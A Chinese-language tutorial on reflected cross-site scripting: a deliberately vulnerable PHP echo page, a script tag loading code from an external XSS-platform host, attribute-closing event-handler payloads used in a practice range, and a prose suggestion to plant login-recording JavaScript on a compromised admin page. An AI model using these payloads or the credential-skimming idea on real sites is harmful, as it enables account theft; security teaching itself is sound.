目录
前言
跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。反射性XSS需要诱惑用户点击,才可以利用,所以很多人不去注意
xss漏洞可以用来进行钓鱼攻击,前端js挖矿,用户cookie获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制
简单理解就是,xss拼接的是网页的HTML代码
总结:构造出合适的HTML代码,去拼接页面原有的代码从而去执行恶意的JS语句
正文
0x01:源码分析
首先是 1.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk" />
<title>反射型xss</title>
</head>
<body>
<form action="2.php" method="get">
<input type="text" name="a">
<input type="submit">
</form>
</body>
</html>
然后是 2.php
<?php
$xss = $_GET['a'];
echo '你输入的字符为<br>'.$xss;
?>
然后注意观察,首先是执行1.html,提交查询,然后会自动跳转到2.php
点击提交查询
这时候我们审查元素,检查元素
其实我们查询的流程是在前端a的位置输入,然后这个表单会提交到后端2.php
后端变量xss首先是以GET方式接受a的传参,然后再echo的输出
画个流程图也就这样,如果可以去搭建个xss平台,然后构造payload,然后让浏览器偷偷的访问
<script src="https://www.baidu.com"></script>
这里以百度为例,让他去偷偷的去访问百度,状态码 200,意思就是访问成功了
这里其实就是偷偷的去调用这个网址,为什么页面上没有显示,因为他被当做代码执行了。所以没有显示
这时候我们看下xss平台的payload
<sCRiPt/SrC=//xssye.com/aaaaa>
这里其实就是访问到 xssye.com 这个地址
这个是菜鸟上面的介绍
(然而这里是浏览器读取,不是服务器读取)
0x02 其他弹窗方式
其实<script></script> 这个是告诉我们中间的个js语句
比如我们单独输入alert(1),就弹不了窗
1)伪协议弹窗
上面是伪协议?
伪协议只要关联应用才能使用(例如:php:// tencent://【关联qq】)
javascript: 伪协议实际上声明URL的主题是任意的javascript代码
2)事件型弹窗
然而因为现在的xss,大部分都是时间型弹窗,一般会过滤<,>,等等
事件型函数在这里就可以看见了:事件型函数大全
常用的有:onerror,onload(成功加载执行),
oninput(有输入框,输入的时候触发)
onfocus(获取焦点触发)
xss 作用于浏览器
js、html代码 都是浏览器执行
0x03 靶场实战
这里借用掌控靶场
这里审查元素,任何我们要先进行闭合,再弹窗
我们先看第一个输出点,发现是在标签内被转码了
这凉了,是不可以利用。这种情况的话是不可能打出xss了
这里的话我们看到尖括号被转义了
<input name=keyword value=''>
被转义的话就只能使用事件型进行弹窗。
构造payload:
<input name=keyword value=''oninput=alert(1) //'>
闭合成功后,payload就是:' οninput=alert(1) //
这里使用 oninput标签,为什么用呢
因为输出点是form表单内,这样我们就可以使用对应的事件型~~
意思是当元素获取到用户输入的字符是,就会运行
所以我们随便在框内输入个a,就可以弹窗了
0x04 其他常用事件
1)onfoucs
' οnfοcus=alert(1) // 获取焦点
什么是获取焦点,就是你鼠标点击输出点的那个地方,它获取到了就会执行
' onfocus=alert(1) autofocus//
然而下面这个payload是自动获取焦点,刷新一下就可以弹窗。
2)onmouseover
' onmouseover=alert(1) //
和上面一样,是当鼠标移动到框的时候进行弹窗
0x04 弹窗函数
1:alert() 常用
2:confirm()
3:prompt()
0x05 拓展:
在有 shell 的情况下,如何使用 xss 实现对目标站的长久控制?
1)后台登录处加一段记录登录账号密码的 js,并且判断是否登录成功,如 果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的 网站文件中。
(2)在登录后才可以访问的文件中插入 XSS 脚本
如果盲打xss返回的信息,显示后台在内网?
总结:
见框就插,这就是精髓
有时候文件上传那边可以插一下